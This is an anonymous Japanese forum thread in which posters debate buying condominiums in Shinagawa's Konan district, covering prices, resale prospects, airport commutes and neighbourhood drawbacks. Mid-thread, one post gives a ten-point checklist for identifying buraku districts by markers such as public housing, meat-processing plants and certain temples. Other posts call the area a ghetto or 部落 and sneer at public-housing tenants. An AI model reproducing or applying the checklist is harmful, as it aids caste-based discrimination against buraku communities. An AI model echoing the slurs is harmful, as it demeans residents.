駅には近いど。

サイトのアクセスログ見てたらkajima.co.jpから「ブランファーレ　コスモポリス」って
検索してたのがあった。やっぱり意識してるのねー。

最近結婚したので引越しを迫られてます。
７０００万までで考えているんだけど、ここ以外で以下の条件に合う場所ってあるでしょうか？

約３０歳、共働き、今後３〜４年は子無し予定、世帯収入は１９００ほど。
永住する気はさらさら無く、子供が歩けるようになる５〜６年後までを目安に転居予定。
勤務地が夫婦とも日替わりで羽田空港もしくは成田空港なので、どちらへもアクセスが良い事が望ましい。
眺望はどうでも良いので低層階でＯＫ、ある程度広い（出来ればリビングが２０畳クラスの）２ＬＤＫが理想。

こう考えると品川駅というのは通勤上非常にメリットのある場所。
かつ港南だとかなり手頃な値段で、結構な広さの部屋が手に入る。
浦安も良いけど、ちょっと両空港へのアクセスが悪いし。
どこか港南以外に、「これだ！」という場所は無いでしょうか？
お知恵を拝借。

>>873

業者うざい

＞＞873

木更津とかがいいんでないの

港南低層階じゃあ、５−６年後の転売は無理じゃない？

ラグナは品川区なので、港南と一緒にして欲しくない。
生活（買い物）、教育環境がぜんぜん違う。
死んでも港南はいやだ。

>>874
？？

>>875
本気ですか？

>>876
築地とかの方が良いですかね？

>>878
千葉リーヒルズに決定汁！

マンションは車と違って大きなかいもの。じっくり時間かけて生活の便
や環境のいいとこ選ぶべき。都心にもそういうマンション一杯あるよ。

CAとPの夫婦ってこと？w
なんか港南マンションのパンフに出てきそうでつね

リムジンバスの運転手と売店のおばちゃんの夫婦だったりして

>>どこか港南以外に、「これだ！」という場所は無いでしょうか？
その条件だと、東雲のWコン
http://www.w-comfort.com/
のキャンセル住戸を狙った方がいいと思うけどね。
（どういう物件かは、検索すればいろいろ出てくるでしょう。）
まあ、本気で聞いてるんじゃないだろうけど。

>873
改装したてのペアシティルネッサンスはどう？

>>881
それなら世帯年収が1900なんてこたあない。
それにそういうやからは舞浜に住みたがるはず。
だから多分みやげ屋か掃除かじゃないでしょうか？

人間の住む所じゃないね。遠くから見ると品川駅の近くのようだが実際歩いてみると１０分くらいかかるマンションばかり。こんな辺鄙なとこに誰が住むか

さっき港南をぐるっと見てきた。
２ヶ月前に見た時よりもこぎれいになってる気がした。
正直嫌悪施設とか倉庫街とかがあるから、いくらマンションが建っても
人の住む場所じゃないと思ってたが、いざ建ち始めてみると可能性を感じる街
に思えてきたよ。
今のマンションラッシュに加えてもう5・6件タワーが建てば見違えると思う。
価格が安くて広いのも魅力的だと思う。課題は交通機関と商業施設。

眺望期待の人は、JRの線路沿いにビルが建つであろうことと
いくつかの倉庫もビルに変わることを計算に入れないといけないな。

>873
葛飾区青砥が一番でしょ。

まあ、所詮ゲットーだよ
ここは

890ゲットー

>>887
かりにタワーが10本たとうとも周りにある施設はそのまま。
駅前のスラムの一角もそのまんま。

確かに現時点では倉庫やら変な施設やらあるね。
でももしかしたら今の大規模な開発が続いていってこういった
マイナスの施設がなくなって高環境の住宅地にいつかは変わるかも
しれない。そうしたら今売りに出してる高級タワーマンションの値が上がって
行くかも。と思うと買う価値があるような気がしてきた。

運河の活用法にかかってると思う。
みんなビルが建つだけの再開発には飽きてるから
港南が新しい開発の型を示せるかどうかだね。
あと路面電車とかつくりゃいいのにね。

>>891
駅前はほんと何とかしたほうがよいね。
港南の顔になる場所を居酒屋が占拠してるのは、これからの街として
明らかにマイナス。

港南を購入したり検討している人たちは、何度も現地周りを訪れてみたの？
車じゃダメだよ。歩いてみないとね。
自分も去年夏から秋にかけて何度も出向いたけど、その度ガックリしたんだけど。
やっぱ、現在この地域に住んでる多くの人たちと共存していく自信がないけどなぁ。

コスポリ前で堂々と子供に立ちションさせてる母親、
信号無視して突っ込んでくる自転車集団、
駅前、スケーボー禁止の看板がいくつも立ち並ぶ中スケーボーやってるガキ共、
週末のインターシティのパティオ周りの光景、
港南図書館近辺に群がるガラの悪い中高生・・・等。

別に何の恨みもないので、この地域が良くなっていけばいいと思うけどね。

信号無視の自転車、スケボーのガキ共、ガラの悪い中高生ってのは
他の地域でもよくいるけどね。
１０年後にはだいぶ変わってる可能性はあるね。

>駅前はほんと何とかしたほうがよいね。
ほんとだよね。駅前がキレイなら、港南がよかった、、。

>>896

品川はスーターにとっては昔から聖地みたいなもんだよ。
水道局の公園にはプロスケーターも大勢練習に来てるし、その華麗なトリックを見ようと
各地からアマスケーターが押し寄せて来てる。
連中の中には、話題の悪名高きグラフィティライターも混じってるから困りもんですよ。

変る訳無いだろ、都営民を追い出せるのか
険悪施設が移設しても、都営は残るし、駅から１０分〜で
高級になると思っているのか
場所間違えてないか、転んでも港南だぜ！

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都営と駅前のスラム飲み屋がなかったら、港南は
高輪より高くなるぽ。

でも絶対なるならないからむりぽ。

肉センターはどうでもいいや。

ほんとに高輪より高くなるのかね？
しかし最近、Ｖタワーがえらく高値で取り引きされてるな。
うちの会社（某金融系中堅不動産屋）の扱いでは
販売時より１〜２割、値上がりしてるのだが・・・

たとえ再開発がさらに進み、お洒落な店がたくさんできても、いずれ人気は下がると思う。
広尾、麻布、高輪、目白、番町など、いつまでも人気の高いエリアは歴史もあるし、
自然があったり懐かしい景色が取り残されていたりと、住む人に優しい側面がある。
話題のスポットであっても「お台場に住みたい！」「どうしても天王洲アイルがいい！」という人が
急増しないのは、楽しいスポットと住む場所はやっぱり別！という意識があるからだと思う。
独身者、DINKSにはお薦めできるエリアですけど、子供がいる家庭が住む環境ではないと思う。

高輪は無理としてもうまくすれば値上がりするでしょ。
Vの情報はにわかには信じられないのだが・・・ほんと？？

品川は手鏡持った変質者が多いとこだよ

>>904
港南２丁目の国土交通省地価公示が、
３年前のブイタワー販売時より
約１５％上がっているので、
値上がりはおそらくそのせいだろう。

港南２丁目はここ数年、公示地価全国値上がり率
トップ１０の常連なので、都心部の地価底打ち傾向
が本物なら、今後もどんどん値上がりしていくと思われ。

最近マンションがどんどん立ち始めている
港南３〜５丁目は良くわからん。

八王子の都の売れ残りマンションが１２年目で７０％引きで
うりだしたそうな。
うりだした当時は６５００万ぐらいだったそうな。
ここの１２年後はどうなっているのだろう。

>>907
まぁ八王子の売れ残りと比べている時点で、
あんたには想像できないだろうし理解も出来ないだろう。

あんまり難しいこと考えるなよｗ

>>908
まああ？
ぁんん？

なんだそりゃ？

えっ縦読みじゃないって？そんなことはないよね？

ここんところ太秦のデムパぶりがすごいな

v-tower買っときゃ良かった。

>>908
面白いよ。907は、自分は「バカ」ですと言っているようなもの。
こういう奴って本当にいるんだな。ウケねらいだとは思うが。

>>909
面白いよ。912は、自分は「バカ」ですと言っているようなもの。
こういう奴って本当にいるんだな。ウケねらいだとは思うが。

>>912,913
漏まいらの方がよっぽど痛いよ

>>912
面白いよ。914は、自分は「バカ」ですと言っているようなもの。
こういう奴って本当にいるんだな。ウケねらいだとは思うが。

住友タワーズからバスが出るそうです。
都内とはいっても最寄の便利な駅まで
バスなら、駅近の郊外マンソンの方が
便利なような。
ブランファーレは目立っていますが、目の前
の巨大エントツきになりませんか？

ああいうバスって、
売れ残りが多数出たり、ＤＱＮ住民増殖等による管理費未納で
運営資金が足りなくなりいずれ廃止・・・って心配ないのかな？

ＤＱＮを港南エリアに隔離すればいいね。皆が喜ぶ。

あんな所にマンション買おうなんて考える時点でＤＱＮだし。

「あんなとこ」って言われちゃうのね。

>917
漏れもそのへん気になってたんだが、管理費とは無関係みたいだよ。
バス会社（中日バス？）側から、商機ありと手を挙げてきたらしい。

料金は片道100円。運行は５分間隔。山手線終電まで動かすらしい。

ただし、いま品川〜JALビル間で運行しているの都営バスが
敷地前とその対面の海洋大学キャンパス側に停留所を作る可能性が
高いようで、とりあえず３年の契約なんだそうな。

どこまでほんとかは知らんが、悪い話ではないと思った。

本日お台場は港南のマンソン販売
で大賑わいだった。売れたかねー。
港南みるなら、お台場のＭＲより
大観覧車へのって港南のでかいゴミ焼き
エントツを目安にみるといいよ。
となりに見えるのがブランファーレ
その脇あたりにズラーッと巨大マンソン
部落ができる予定です。
そのあと現地へいってみると概略がわかります。

芝浦方面にも嫌悪施設ってある？

人それぞれじゃない、目だった物はないけどね
芝浦埠頭界隈のダンプの交通量と排気ガスの
篭り方は、港南以上かもな、総合的には
芝浦が良いけどね、知名度も違うしね、
坪単価も５０は高いからね。

＞８９２　何年待つつもりだ
ヨボヨボになって、良くなってもしょうがないね
今現在なんだよ

芝浦や港南は海沿いに何かしら人を呼べる施設が必要だね。
まあ今のとこ自己完結すらできてない地区だから
思い切った計画が必要

　　　　　　　　　　　　　　,.-‐　"""''''''- 、
　　　　　　　　　　　　　／　　　　　　　　 　＼
　　　　　　　　　　　　/　　ﾉりﾉレりﾉレﾉ＼　 i
　 )'ｰーノ(　　　　　 i　　ノcニつ　⊂ニュ ﾐ　|　　　　　 |ｰ‐''"ｌ
　/　P　　|　　　　　ﾉ　 |　　<@　 ミ　@ヽ. |　 |　　　　　ｌ　 P ヽ
　l 　 ･　　i´ 　　　 ｲ 　|　　　　(o_o.　　　 | 　|　　　　/　 ・　 /
　|　 T　　l　 トー-ﾉ　　!　　　ﾉ　u　丶.　 !　 ヽ　　　 |　 T　｜
　|　 ･　　|／　　 彡　　!　　　　(つ　　　 !　　ﾐ　　　 ｌ 　・　｜
　|　 S 　 |　　 　 ﾉ　　人 　　　　"　　 人　　ヽ　　　ｌ　 S　 |
　| 　・ 　 |　　 /　 | |　　　 ` ｰ-‐ ' ´||　,ﾉ| |　　　　　|　　・　｜
　| 　D 　 | 　/　　│ｌ　　　　　　　　 |ﾚ　　　　 　 |ﾚ' |　　D　｜
　| 　 !! 　 |/ 　　ノ⌒ヾ､　 ヽ　　　 ノハ,　　　　　　| |　　 !!　｜
,ノｰ‐---､,|イーｆ'´ /´　　＼　| ,／´ ｜ヽl　　　 　.|　ﾉハ､_ノヽ
　　　　 ／-ト、|　┼―- ､_ヽﾒr'　, -=ｌ''"ハ　　　　|　 ｌ
　　 ,／　 　|　ヽ 　＼　　_,ノｰｆ' ´　　ﾉノ　 ヽ　 　｜　|
､_　　　 _ ‐''ｌ　　`ー‐―''" ⌒'ｰ--‐'´｀ヽ､_ 　　_,ノ　ノ

天王洲アイルと品川を結ぶ交通機関（バス以外）が必要じゃないか？
そう思うのは自分だけ？

このエリアは価格が安い部屋こそ買いですね。
何より迷い無く買える。
6000以上出す人達は、地域や周辺の不確定要素を気にしながら後悔したり
ほっとしたり・・・精神衛生上あんまり良くないね。
低層階や北向き買った人達の満足度は結構高くなると思うよ。

>927歩け！たいした距離ではない。
タクシー使え、1メータ程度だ。

Ｖタワーの低層階購入組よかったね

【○地区を見付けるポイント10】
�@解放会館・青少年会館がある！
�A信号機がやたらと多い！
�B養護学校がある！
�C食肉加工センターがある！
�D市営住宅・改良住宅がある（東京は都営住宅）！
※通常の公営住宅との見分け方は配列がグチャグチャである点
�E元々山ではなく平地なのに道がぐねぐね曲がっている！
�Fその地区が属する学区の中学校では給食がある！
�Gスクラップ工場もしくは車が大量に捨ててある！
�H豚舎がある家が多い！
�I浄土真宗の寺、白山神社（関東）がある！

品川の港南口おりたところの吉野家の横あたりに
へんてこなオブジェが・・・
だせぇーーー

コーナン６０００マンならオダイバ
６０００マンがよろし。

コーマン６０００エンがヨロシ。

港南は見てくれ変ろうが、所詮港南！
港区の粗大塵、お荷物、イメージダウン、
毛等と埼玉千葉の下民の入植者の苗どころ

叩くやつも必死だな

今日これから港南のマンションの商談に行きます♪
キラメク蒼い海を見ながらの都心でのゴージャスな
ライフスタイル。

住友ワールド苦戦中です　住友あっちこっちで単独開発やっているが
大丈夫なのか？　２０００も久我山ガーデンも売れるか疑問。

コーナンの１０年後。
どうせなら、今４割引きにすれば悲劇は避けられる。
以下は日経ネットよりー
東京都住宅供給公社が最大７割引きで売り出した「多摩ニュータウン」
の分譲マンション17戸に購入希望者が殺到、25日の申し込み締め切りを
前に、24日夕現在で、倍率868倍の物件も出る人気となった。17戸平均
の申し込み倍率は249倍。

住友2000団地のＭＲいってきました。
２０Ｆ以上で5000マンがいいとこの部屋を
6000マン以上で売ってました。
第２のラグナ決定です。
東京には6000マン以上をポンと払えるリッチ
家族が2000世帯はらくにいるとよんでるみたい。
その他コーナンのマンセーも同意見ナンダローネ。

天王洲ビュータワーに住んでいるけど不便よ〜
礼金がないのと地下駐車場だけが魅力なので〜
近くにマンソンいっぱい出来てるけど住んだらすぐ嫌になると思うよ〜
個人的にはラグナタワーが８０�u３５００万円でも要らないかな〜
あっつ！賃貸に出すなら買ってもよいかな〜

港南に6000万以上払うって、なんか勿体無い・・・
それよりもっとマトモなエリアの物件買えるのに。
あの辺のマンション群でそれこそ8000万とか億クラスの部屋って、
ちゃんと売れているのだろうか？

確かに環境はよくないし、「高級感」とは無縁だよね。＞港南

道路と電車がうるさいし、空気悪い。

住宅地としては最悪の環境。これすら分からん住人が集うので住民層も最悪。

本日台場にある港南物件住友2000のＭＲいってきました。
ほとんどの部屋が6000マン以上でした。
オダイバオリックスタワーが6000マン円ぐらいですから、
同じぐらいの値段です。
私的にはオダイバ港南＞＞オダイバです。排気ガスの煙幕はオダイバ
の方があるかもしれんが、にたりよったり。
有明のガレリアは価格が１〜2000マン安いが、不便である。
比較するとおもしろい。

結構叩かれてるみたいですが。。一応港区ですからねぇ
私はｺｰﾏﾝに6000万出してもいいと思っていますが

>947
それなら白金高輪とか三田周辺の方がよくない？

フジTVでやってる！

>>949 見てるよー

マンションなんてトラブル買うだけ

土地はまだまだ下がる

銀行の抵当物件放出が始まる

どうみても供給過剰

高層マンション＝土地が増えたと同じ事

都心にマンション買うなんて馬鹿だよ。しかもローン３０年って。

ローンなんて馬鹿はある程度承知の上で組むもんよ。

金持ち父さん読んだんだ

彼はマンション投資の道を選んだ

おいらは日本では不動産投資は残念ながら現在無理があると判断した

けど彼を誇りに思うよ、がんばれ！

区営＞コスポリの人、港南＞港南なんだね。
(今の住まいの目の前がコスポリ)
実際住んでる訳なんだけど、これからも住み続けたいという事なんだろうね。

ezてれび見てるけど、馬鹿ばっかだわ。あんな狭いとこにローンを
３０年も払って住むなんて。人生終わりだね。田舎に住めよ。
うちなんか庭に車３０台とめられるで。

区営住宅でいいのにね・・・。
分譲は、管理組合だの、大規模修繕だの、いろいろ大変だぞ！！

でも結局、郊外新築マンションは港南に客を取られてるってことだよね。
通勤地獄よりは、環境悪くても利便性とスケールメリットを選んでるんだよ。
個人的にはお台場マンションに興味を持ってるが。

港南でモノレールと横羽の至近距離で6000マンで2000戸で

まさに住友の墓標、
さて空売りをいつしようか

結局田舎もんがこのエリアのマンション買うんだね。
元から東京にいる人間にはとても住めるエリアじゃないんだよ。

港南、有明、台場に住みたいと思う時点で田舎者！(ﾌﾟｯ

生まれてから嫁に行くまで八雲にいたけど、
台場も実際住んでみると意外と快適。
住宅密集地にはない開放感がお台場にはあってなかなか良いです。
もっとも、買って一生住むかといったら、それは再考。

失礼。
再考×
最高○

う。ﾏﾙﾁにﾏｼﾞﾚｽしてしまた＿|￣|○

>>958
駅に行くのに高速とモノレールをくぐって、殺風景な風景と腐臭をかぎながら20分も歩くのは
利便性がいいとは言いません

いまだにブランファーレ売れ残ってるみたいだね。

住友2000戸はまもなく本格的に販売開始みたいだね。
どうなんだろ？？

場所としては微妙という意見が多いみたいだけど、住友としてはかなり
高級仕様にしているから決して高いっていうイメージはないな。

共用設備、シャトルバスとかも設定して住みやすそうだけどな。

>>965
住友を待ってましたが、高過ぎなのでブランを
検討中です。希望する間取りが無いので、もう
少し待って決定する予定。

空気悪いのか。結構気になってたけどなぁ〜
ところで郊外とか言ってる人いるけど・・・正気？郊外って現代の部落地区だよ。
金あったらみんな都内住んでるって。差別されるから郊外にはすまないのが常識。

それを言うなら港南の方が部・・・

>>966
そんなのに俺は釣られ　熊のAA略

高速の横が空気最悪なのは、港南に限ったことじゃない。
日本全国いや全世界共通。
違うのはそこに住宅が建ってるかどうかだな。

　　　world city towers

　　　　４月２９日（祝）
　モデルルームグランドオープン
　　　　（正式価格発表）

２ちゃん的には、板橋区や北区や練馬区も郊外だからなぁ。

今更ワールド行くのは負け組みだよ。理由は行けば分かる。
港南は江東区と変わらないが・・・・

止めとけ、港区のお荷物港南！
せめて芝浦にしとけ！芝浦アイランドがええぞ

住めないくせに　ｗ

>976
もしかして◆の反転に気づいていないの？

なるほどｗ

>>974
はいはい、あんたは世田谷にミニコでも買ってください。

港南の辺りは羽田空港へ降りる飛行機の騒音とか気にならないですか。
風向きによっては直ぐそばを飛行機が飛んでいるように見えるんだけど。

ワールド高すぎないか？あの値段はどうだろね？
港南なのにお台場にモデルルーム作る神経もどうかと。
本当に住友の墓標になるような気がする。

うんうん、あの価格で2000戸も売り捌くなんて
営業もキツイと同情してしまうよ。

値引きして売るために高く設定したとか？

　すぐ錆びるし、洗濯ものが潮でべたべた

4lDKは3or4Fから
今回の売り出しはA棟25Fまで
3-4F　6000ﾏｿ
25F　7000ﾏｿ
ちなみにｺｽﾓの33F南西角100平米3LDKが7000ﾏｿちょっと
ﾜｰﾙﾄﾞ1000ﾏｿ近くﾎﾞｯﾀしているｵｶﾝ

　確かにｗ

あ・・・価格はみなおすとか、みなおさないとか。
高めに設定しといて、ラグナみたく見直すよてだとか
ちがうとか。

コスモ、三井、ブランなどの売れのこりを処分するのに
てつだってあげてるだけだとか、関係ないだとか。

住友の値段みたら周辺の売れ残りの部屋が安くかんじる
っしょ。

他の物件と違うのは3棟建てということであり・・・値引き前提という博打営業では

しかしこれでは兎にも角にも何故かAの角部屋ｷﾎﾞﾝﾇでなければ
BやらCやらの建物の方が値段もこなれてきてよいのではないか。
むしろ今買うのは後で値引きされたBやらCやらはおろか同じAの値引き部屋に地団駄を踏むだけでは
ないのか。
そのような不安が盛り上がるのがレスの少なさと値段から湧いてきた現在の状況でもある。
いや、それとも、これが営業戦略だというのであれば、賢いものは見抜いて矢張り
BやらCやらもしくはAの残りを狙うのではないか。
あるいは値引きが前提でないというのであればこの板の住人の未来はﾜｰﾙﾄﾞがｺｹるのをみて
笑いたいという悪趣味なｆじゃふぁｐ「亜

w

>ﾜｰﾙﾄﾞがｺｹるのをみて笑いたいという悪趣味

1ﾉｼ
あんな凄い土地に建つ万村をメーカー希望小売価格？で買う香具師の顔みてみたいぞ。

周辺の環境は確かにあんまりよくないな、これから変わっていくなら
いいと思うんだが。

ワールドは内装とかを見る限りかなり高級仕様。
マンションの質と価格を比較すると悪くないのでは
あとはあの環境をどう見るかだな。

豊洲二丁目にワールドができてたら即買ってマス

もし港南が流行最先端のおしゃれスポットになったら
今マンション買った人は軒並み資産家の仲間入り。
そんなおいしいことあるわけないじゃん。
倉庫街がマンション街（ビル街）になるだけです。

慎太郎ちゃんが運河の活用を唱えてるけど、どうせやるなら
観光スポットになるくらい徹底的にやって欲しいね。
まあせいぜい屋形船がうろうろする程度だろうけど

>>989
だ・か・ら、ｺﾋﾟﾍﾟしても◆は◇になるんだから
人の名前は使うなって

ごめんよ〜

ワールドを言い値で買おうとしてる漏れは負け組でつか・・・

ブランファーレとかベイクレストもいいけど、都営（港南４丁目第2アパート）も立派だね！
ラクシアとかパークタワーもいいけど、公社（シティハイツ港南？）もいいね〜！

なんか高い金払って買うのバカらしくない？
何とか都営とか安いとこ入って、浮いた金でうまいモノ食べて、クルマ買って、
海外旅行でもする方がよっぽどいいなァ。 30年ローンに縛られるよりは(^_^;)

>>997
正論だな・・・

もすぐ１０００、さようなら港南刷れ

999

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